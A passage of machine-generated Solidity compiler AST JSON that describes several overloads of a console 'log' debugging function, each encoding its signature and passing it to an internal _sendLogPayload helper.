ypeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30097,"name":"address","nodeType":"ElementaryTypeName","src":"54921:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"54887:45:15"},"returnParameters":{"id":30100,"nodeType":"ParameterList","parameters":[],"src":"54947:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30136,"nodeType":"FunctionDefinition","src":"55063:187:15","nodes":[],"body":{"id":30135,"nodeType":"Block","src":"55141:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c737472696e672c75696e7432353629","id":30127,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"55191:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_c21f64c781c24c69fbdf6daf185e821c3143831e9c7b3ede1933a6cffd68030d","typeString":"literal_string \"log(bool,address,string,uint256)\""},"value":"log(bool,address,string,uint256)"},{"id":30128,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30115,"src":"55227:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":30129,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30117,"src":"55231:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30130,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30119,"src":"55235:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":30131,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30121,"src":"55239:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c21f64c781c24c69fbdf6daf185e821c3143831e9c7b3ede1933a6cffd68030d","typeString":"literal_string \"log(bool,address,string,uint256)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":30125,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"55167:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30126,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"55171:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"55167:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30132,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"55167:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30124,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"55151:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30133,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"55151:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30134,"nodeType":"ExpressionStatement","src":"55151:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"55072:3:15","parameters":{"id":30122,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30115,"mutability":"mutable","name":"p0","nameLocation":"55081:2:15","nodeType":"VariableDeclaration","scope":30136,"src":"55076:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30114,"name":"bool","nodeType":"ElementaryTypeName","src":"55076:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30117,"mutability":"mutable","name":"p1","nameLocation":"55093:2:15","nodeType":"VariableDeclaration","scope":30136,"src":"55085:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30116,"name":"address","nodeType":"ElementaryTypeName","src":"55085:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30119,"mutability":"mutable","name":"p2","nameLocation":"55111:2:15","nodeType":"VariableDeclaration","scope":30136,"src":"55097:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30118,"name":"string","nodeType":"ElementaryTypeName","src":"55097:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":30121,"mutability":"mutable","name":"p3","nameLocation":"55123:2:15","nodeType":"VariableDeclaration","scope":30136,"src":"55115:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30120,"name":"uint256","nodeType":"ElementaryTypeName","src":"55115:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"55075:51:15"},"returnParameters":{"id":30123,"nodeType":"ParameterList","parameters":[],"src":"55141:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30159,"nodeType":"FunctionDefinition","src":"55256:192:15","nodes":[],"body":{"id":30158,"nodeType":"Block","src":"55340:108:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c737472696e672c737472696e6729","id":30150,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"55390:33:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_a73c1db639dbf1382c9113eacdf5b14a7ccd81fc001ac60393623936011bf49d","typeString":"literal_string \"log(bool,address,string,string)\""},"value":"log(bool,address,string,string)"},{"id":30151,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30138,"src":"55425:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":30152,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30140,"src":"55429:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30153,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30142,"src":"55433:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":30154,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30144,"src":"55437:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a73c1db639dbf1382c9113eacdf5b14a7ccd81fc001ac60393623936011bf49d","typeString":"literal_string \"log(bool,address,string,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":30148,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"55366:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30149,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"55370:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"55366:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30155,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"55366:74:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30147,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"55350:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30156,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"55350:91:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30157,"nodeType":"ExpressionStatement","src":"55350:91:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"55265:3:15","parameters":{"id":30145,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30138,"mutability":"mutable","name":"p0","nameLocation":"55274:2:15","nodeType":"VariableDeclaration","scope":30159,"src":"55269:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30137,"name":"bool","nodeType":"ElementaryTypeName","src":"55269:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30140,"mutability":"mutable","name":"p1","nameLocation":"55286:2:15","nodeType":"VariableDeclaration","scope":30159,"src":"55278:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30139,"name":"address","nodeType":"ElementaryTypeName","src":"55278:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30142,"mutability":"mutable","name":"p2","nameLocation":"55304:2:15","nodeType":"VariableDeclaration","scope":30159,"src":"55290:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30141,"name":"string","nodeType":"ElementaryTypeName","src":"55290:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":30144,"mutability":"mutable","name":"p3","nameLocation":"55322:2:15","nodeType":"VariableDeclaration","scope":30159,"src":"55308:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30143,"name":"string","nodeType":"ElementaryTypeName","src":"55308:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"55268:57:15"},"returnParameters":{"id":30146,"nodeType":"ParameterList","parameters":[],"src":"55340:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30182,"nodeType":"FunctionDefinition","src":"55454:181:15","nodes":[],"body":{"id":30181,"nodeType":"Block","src":"55529:106:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c737472696e672c626f6f6c29","id":30173,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"55579:31:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_e2bfd60b4f6acdab0603dda631b69bf37ab7cbf71bc5953f9ed72c1f2a76f7dc","typeString":"literal_string \"log(bool,address,string,bool)\""},"value":"log(bool,address,string,bool)"},{"id":30174,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30161,"src":"55612:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":30175,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30163,"src":"55616:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30176,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30165,"src":"55620:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":30177,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30167,"src":"55624:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e2bfd60b4f6acdab0603dda631b69bf37ab7cbf71bc5953f9ed72c1f2a76f7dc","typeString":"literal_string \"log(bool,address,string,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":30171,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"55555:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30172,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"55559:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"55555:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30178,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"55555:72:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30170,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"55539:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30179,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"55539:89:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30180,"nodeType":"ExpressionStatement","src":"55539:89:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"55463:3:15","parameters":{"id":30168,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30161,"mutability":"mutable","name":"p0","nameLocation":"55472:2:15","nodeType":"VariableDeclaration","scope":30182,"src":"55467:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30160,"name":"bool","nodeType":"ElementaryTypeName","src":"55467:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30163,"mutability":"mutable","name":"p1","nameLocation":"55484:2:15","nodeType":"VariableDeclaration","scope":30182,"src":"55476:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30162,"name":"address","nodeType":"ElementaryTypeName","src":"55476:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30165,"mutability":"mutable","name":"p2","nameLocation":"55502:2:15","nodeType":"VariableDeclaration","scope":30182,"src":"55488:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30164,"name":"string","nodeType":"ElementaryTypeName","src":"55488:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":30167,"mutability":"mutable","name":"p3","nameLocation":"55511:2:15","nodeType":"VariableDeclaration","scope":30182,"src":"55506:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30166,"name":"bool","nodeType":"ElementaryTypeName","src":"55506:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"55466:48:15"},"returnParameters":{"id":30169,"nodeType":"ParameterList","parameters":[],"src":"55529:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30205,"nodeType":"FunctionDefinition","src":"55641:187:15","nodes":[],"body":{"id":30204,"nodeType":"Block","src":"55719:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c737472696e672c6164647265737329","id":30196,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"55769:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_6f7c603e9035cbc7959bb3d44ec862ddc6711eecebd67d54ceb0010f42f85654","typeString":"literal_string \"log(bool,address,string,address)\""},"value":"log(bool,address,string,address)"},{"id":30197,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30184,"src":"55805:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":30198,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30186,"src":"55809:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30199,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30188,"src":"55813:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":30200,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30190,"src":"55817:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6f7c603e9035cbc7959bb3d44ec862ddc6711eecebd67d54ceb0010f42f85654","typeString":"literal_string \"log(bool,address,string,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":30194,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"55745:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30195,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"55749:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"55745:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30201,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"55745:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30193,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"55729:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30202,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"55729:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30203,"nodeType":"ExpressionStatement","src":"55729:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"55650:3:15","parameters":{"id":30191,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30184,"mutability":"mutable","name":"p0","nameLocation":"55659:2:15","nodeType":"VariableDeclaration","scope":30205,"src":"55654:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30183,"name":"bool","nodeType":"ElementaryTypeName","src":"55654:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30186,"mutability":"mutable","name":"p1","nameLocation":"55671:2:15","nodeType":"VariableDeclaration","scope":30205,"src":"55663:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30185,"name":"address","nodeType":"ElementaryTypeName","src":"55663:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30188,"mutability":"mutable","name":"p2","nameLocation":"55689:2:15","nodeType":"VariableDeclaration","scope":30205,"src":"55675:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30187,"name":"string","nodeType":"ElementaryTypeName","src":"55675:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":30190,"mutability":"mutable","name":"p3","nameLocation":"55701:2:15","nodeType":"VariableDeclaration","scope":30205,"src":"55693:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30189,"name":"address","nodeType":"ElementaryTypeName","src":"55693:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"55653:51:15"},"returnParameters":{"id":30192,"nodeType":"ParameterList","parameters":[],"src":"55719:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30228,"nodeType":"FunctionDefinition","src":"55834:176:15","nodes":[],"body":{"id":30227,"nodeType":"Block","src":"55903:107:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c626f6f6c2c75696e7432353629","id":30219,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"55953:32:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_07831502b96d5b050adbd4ca2f9d4cd011dd7a8d3e1266dadb6c832ee8e56059","typeString":"literal_string \"log(bool,address,bool,uint256)\""},"value":"log(bool,address,bool,uint256)"},{"id":30220,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30207,"src":"55987:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":30221,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30209,"src":"55991:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30222,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30211,"src":"55995:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":30223,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30213,"src":"55999:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_07831502b96d5b050adbd4ca2f9d4cd011dd7a8d3e1266dadb6c832ee8e56059","typeString":"literal_string \"log(bool,address,bool,uint256)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":30217,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"55929:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30218,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"55933:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"55929:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30224,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"55929:73:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30216,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"55913:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30225,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"55913:90:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30226,"nodeType":"ExpressionStatement","src":"55913:90:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"55843:3:15","parameters":{"id":30214,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30207,"mutability":"mutable","name":"p0","nameLocation":"55852:2:15","nodeType":"VariableDeclaration","scope":30228,"src":"55847:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30206,"name":"bool","nodeType":"ElementaryTypeName","src":"55847:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30209,"mutability":"mutable","name":"p1","nameLocation":"55864:2:15","nodeType":"VariableDeclaration","scope":30228,"src":"55856:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30208,"name":"address","nodeType":"ElementaryTypeName","src":"55856:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30211,"mutability":"mutable","name":"p2","nameLocation":"55873:2:15","nodeType":"VariableDeclaration","scope":30228,"src":"55868:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30210,"name":"bool","nodeType":"ElementaryTypeName","src":"55868:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30213,"mutability":"mutable","name":"p3","nameLocation":"55885:2:15","nodeType":"VariableDeclaration","scope":30228,"src":"55877:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30212,"name":"uint256","nodeType":"ElementaryTypeName","src":"55877:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"55846:42:15"},"returnParameters":{"id":30215,"nodeType":"ParameterList","parameters":[],"src":"55903:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30251,"nodeType":"FunctionDefinition","src":"56016:181:15","nodes":[],"body":{"id":30250,"nodeType":"Block","src":"56091:106:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c626f6f6c2c737472696e6729","id":30242,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"56141:31:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_4a66cb34796065525d301a5b87b440b55f1936e34dd66e2f2039307bc4e3ea59","typeString":"literal_string \"log(bool,address,bool,string)\""},"value":"log(bool,address,bool,string)"},{"id":30243,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30230,"src":"56174:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":30244,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30232,"src":"56178:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30245,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30234,"src":"56182:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":30246,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30236,"src":"56186:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4a66cb34796065525d301a5b87b440b55f1936e34dd66e2f2039307bc4e3ea59","typeString":"literal_string \"log(bool,address,bool,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string 